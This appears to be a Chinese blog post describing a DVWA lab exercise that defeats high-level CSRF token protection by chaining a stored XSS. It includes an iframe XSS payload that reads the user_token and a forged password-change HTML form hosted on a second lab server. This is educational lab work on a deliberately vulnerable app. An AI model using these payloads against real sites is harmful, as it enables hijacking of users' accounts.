• DVWA之CSRF中high等级结合存储型XSS攻击


    通过burpsuite抓包分析high级别加入了验证token机制,每次修改密码需要提交服务器生成的随机的token参数。

    high等级的数据包

     

    如果该网站存在XSS漏洞可以利用,那么就可以实现high等级下的CSRF漏洞,所以需要利用DVWA的XSS漏洞板块,获取同等级CSRF板块下的user_token,然后构造网站。

    这里我是在存储型XSS中txtname框输入,因为有字数限制,所以需要拦截后更改。

    txtName=<iframe src="../CSRF" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

    获取其user_token。

    利用存储性XSS漏洞

     

    获取user_token

     

    然后将这个token放入构造的html

    <html>
        <body>
            <form action="http://192.168.204.136/dvwa/vulnerabilities/csrf/?">
                <input type="hidden" name="password_new" value="high"/>
                <input type="hidden" name="password_conf" value="high"/>
                <input type="hidden" name="Change" value="Change"/>
                <input type="hidden" name="user_token" value="xxxxx"/>
                <input type="submit" value="Ciick Me"/>
            </form>
        </body>
    </html>

    构造html

    为了强调跨站,我把该html放在了host为192.168.204.142的服务器里,DVWA的主机host是192.168.204.136。

    受害者访问

    访问钓鱼网站

    成功将密码修改为high

    修改密码成功

    验证登录

    个人思考:

    通过反射型XSS完成CSRF的攻击应该是不现实的,因为获取的token是一次性的,如果受害者在点击此构造网站之前随便访问了原网站的其他信息,或者token被消耗更新,token就会改变,因此,结合反射型XSS的CSRF攻击在现实中很容易失去有时效性的token。所以只能配合存储型的XSS,在构造网站的时候需要先跳转至XSS模块利用此漏洞获取token,然后才将修改密码表单发送,这个html网站的构造我还没有实现。

     

  • 相关阅读:
    PPT_标题
    产品需求撰写-架构图
    测试
    SparkLauncher 1.6 版本bug
    Github fork同步
    Maven 配置远程仓库
    Sqoop2中传入配置文件中url之【坑】
    Spark性能优化-coalesce(n)
    面试算法题目
    Git 基本概念及常用命令
  • 原文地址:https://www.cnblogs.com/zhengxin909/p/15570319.html
Copyright © 2020-2023  润新知